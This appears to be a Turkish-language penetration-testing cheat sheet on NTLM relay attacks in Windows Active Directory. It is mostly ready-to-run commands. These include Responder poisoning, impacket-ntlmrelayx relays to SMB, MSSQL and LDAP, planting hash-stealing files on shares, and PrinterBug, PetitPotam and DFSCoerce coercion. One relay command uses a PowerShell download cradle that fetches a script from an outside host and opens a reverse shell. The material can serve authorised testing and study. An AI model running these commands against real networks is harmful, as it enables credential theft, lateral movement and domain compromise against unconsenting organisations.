NTLM Relay Attacks

NTLM Nedir?

  • Windows active directory ağlarında kimlik doğrulama için geliştirilmiş bir protokoldür.

  • Kerberostan daha güvensizdir.

NTLM's pass-through authentication

  • Bu kimlik doğrulama yöntemi hedef makine bir domain içinde ise gerçekleştirilir.

Workgroup Authentication

  • Eğer hedef makine domaine bağlı değilse parola hashini kendi SAM veritabanı ile kontrol eder.

SMB Signing ve SMB Sealing

  • SMB Signing: Sunucu ve kullanıcı arasındaki her adım kullanıcı ve sunucunun parola hashlerinin bir kombinasyonu ile imzalanır. Bu şekilde mesaj okunabilir fakat bir aradaki bir saldırgan tarafından değiştirilemez.

  • SMB Sealing: Her mesaj aynı yöntem ile imzalanır ve aynı zamande şifrelenir. Bu şekilde saldırgan mesajı hem göremez hem değiştiremez.

LLMNR, NBT-NS, and mDNS Poisoning

  • Bu protokoller ağda bir DNS sorgusu başarısız olduğunda devreye giren yedek protokollerdir.

  • Bir dns sorgusu başarısız olduğunda cihaz ağa bir broadcast mesajı gönderir ve bu sunucunun IP adresini bilen biri olup olmadığını sorar.

  • Biz bu adımda sunucunun IP adresini kendimiz olarak gösterirsek sunucu bize authanticate olmaya çalışır ve kimlik bilgisini gönderir.

# Sadece analiz eder poisoning yapmaz
responder -I eth0 -A
# Poisoning yapar
responder -I eth0

NTLM Relay

  • NTLM Relay ile kendimize gelen authantication isteklerini istediğimiz makineye yönlendirebiliriz ve o kişinin yetkileri ile session alabiliriz.

  • SMB Signing kapalı olan hedefler etkilenir.

# SMB signing kapalı olan hedefleri listeler
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt
responder-RunFinger -i 10.0.0.0/24
# Hangi servisi yönlendiriyor isek onu responderdan kapıyoruz
micro /usr/share/responder/Responder.conf
# Zehirlemeye başlıyoruz
responder -I eth0
# Responder'a gelen bağlantıyı hedeflere yönlendiriyoruz
impacket-ntlmrelayx -tf relay.txt -smb2support
# Default olarak SAM veritabanını çeker fakat istersek komut çalıştırabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c 'whoami'
# Komut çalıştırarark reverse shell alabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c "powershell -c IEX(New-Object NET.WebClient).DownloadString('http://10.0.0.2/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.2 -Port 7331"
nc -nvlp 7331

Ntlmrelayx

# Zehirlemeye başlattık
responder -I eth0

# Saldırıyı tek bir hedefe yapabiliriz
impacket-ntlmrelayx -t smb://10.0.0.2
# Tek bir kullanıcıdan gelen isteği tek bir hedefe yapabiliriz
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2
# Tek bir kullanıcıdan gelen ilk isteği tek bir hedefe yapabiliriz
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2 --no-multirelay

# Socks4 portu 1080 olmalı
micro /etc/proxychains4.conf
# Socks bağlantısı kurabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
# Bağlantıları listeler
ntlmrelayx> socks
# Proxychains ile socks bağlantılarını kullanabiliriz
proxychains -q impacket-smbexec CORP/JOHN@10.0.0.2 -no-pass
proxychains -q impacket-smbclient CORP/JOHN@10.0.0.2 -no-pass
# Interaktif mod ile otomatik SMBClient bağlantısı kurulur ve nc ile bağlanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -i
nc -nv 127.0.0.1 11000

MSSQL Üzerinden NTLM Relay

# SMB Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Tek bir hedefe relay ediyoruz
impacket-ntlmrelayx -t mssql://10.0.0.2 -smb2support -socks
# Socks bağlantısı ile bağlanıyoruz
proxychains -q impacket-mssqlclient CORP/john@10.0.0.2 -windows-auth -no-pass
# Doğrudan SQL sorgusu da yapılabilir
impacket-ntlmrelayx -t mssql://CORP\\JOHN@10.0.0.2 -smb2support -q "SELECT name FROM sys.databases;"

LDAP Üzerinden NTLM Relay

# SMB ve HTTP Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0

# Domain controller'da zafiyet varsa doğrudan relay edebiliriz
python cve-2019-1040-scanner/scan.py corp/john$:'pass123'@10.0.0.1
# Eğer zafiyet var ise her ntlmrelay çalıştırırken -remove-mic koymalıyız
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support -remove-mic --no-da --no-acl --lootdir ldap_dump

# Eğer zafiyet yoksa sadece http istekleri relay edilebilir smb çalışmaz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --lootdir ldap_dump
# Relay ile computer oluşturulabilir
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --add-computer 'JOHNPC$'
# Aynı zamanda relay edilen kullanıcının ACL yetkileri ile otomatik yetki yükseltmesi denenebilir.
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --escalate-user 'JOHNPC$' --no-dump -debug

Bütün Servisler Üzerinden NTLM Relay

# All protokolü ile bütün servislere relay yapabiliriz 
echo "all://10.0.0.2" > relay.txt
# Bütün serverleri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Artık bütün relayleri socks üzerinden kullanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
ntlmrelayx> socks

SMB Share ile Hash Toplama

# Anonim bir share arıyoruz
nxc smb 10.0.0.1/24 -u anonymous -p '' --shares
# Bu share'a girenlerin bize bağlantı göndermesini sağlayan dosyalar oluşturuyoruz
python ntlm_theft.py -g all -s 10.0.0.9 -f '@myfile'
# Anonim olan paylaşıma giriyoruz ve lnk veya url uzantılı dosyayı koyuyoruz
impacket-smbclient anonymous@10.0.0.2 -no-pass
put @myfile/@myfile.lnk
# Aynı işlemi nxc ile otomatik yapabiliriz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=10.0.0.9 NAME=important
# Artık SMB share'a bağlanan herhangi biri hashini bize gönderiyor
impacket-ntlmrelayx -tf relay.txt -smb2support -socks

WebDav ile Hash Toplama

# Webdav açık sunuculara bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Eğer hiçbir WebDav açık değilse SMB Share üzerine searchConnector-ms dosyası koyuyoruz
# SMB share'a bağlanan kişilerin rastgele bir yere istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.99/testing SHARE=smb FILENAME=@secret
# Webdav açık sunuculara bir daha bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Anonim SMB açık olan sunucuya bu share'a bağlananların rastgele bir hedefe istek atmasını sağlayan dosya yerleştiriyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=NOAREALNAME@8008 NAME=important
# Artık Webdav servisi açık olan biri bu SMB share'a girerse bize bağlanıcak
responder -I eth0
# HTTP isteklerini LDAP komutları için kullanabiliriz
ntlmrelayx.py -t ldap://10.0.0.1 -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs --lootdir ldap_dump

MSSQL Hash Alma

# Eğer bir mssql ele geçirdiysek hash değerini aşağıdaki şekilde kendimize göndeririz
impacket-smbserver share Deneme -smb2support
exec xp_dirtree "\\10.0.0.9\Deneme"

PrinterBug (MS-RPRN)

# Printerbug ile sunucunun bize auth isteği atmasını zorluyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
responder -I eth0

# SMB share'a bağlanan kişilerin rastgele bir yere istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.99/testing SHARE=smb FILENAME=@secret
# Webdav servisi açılan sunucuları buluyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Webdav servisi açık olan sunucuyu rastgele bir webdav'a yönlendiriyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.3 RANDOMNAME@80/share
# Bu sefer HTTP isteği geliyor (NTLMv2)
responder -I eth0

PetitPotam (MS-EFSR)

# Bu zafiyet ile kendimize auth isteği attırabiliriz
python PetitPotam.py 10.0.0.9 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
# HTTP isteği attırmak için webdav açık bir sunucuya saldırabiliriz
python PetitPotam.py RANDOMNAME@80/files 10.0.0.2 -u 'john' -p 'pass123' -d corp.local

responder -I eth0

DFSCoerce (MS-DFSNM)

# Bu zafiyet ile kendimize auth isteği attırabiliriz
python dfscoerce.py -u 'john' -p 'pass123' 10.0.0.9 10.0.0.2
responder -I eth0

Coercer

  • Otomatik olarak bütün coerce zafiyetlerini dener

# Sadece coerce tekniklerini dener
Coercer scan -t 10.0.0.2 -u 'john' -p 'pass123' -d corp.local -v
# Coerce teknikleri ile bize istek attırır
Coercer coerce -t 10.0.0.2 -l 10.0.0.9 -u 'john' -p 'pass123' -d corp.local -v --always-continue
# Webdav açık sunucuda http isteği attırır
Coercer -t 10.0.0.2 -u 'john' -p 'pass123' -wh RANDOMPC -wp 80 -v

Last updated

Was this helpful?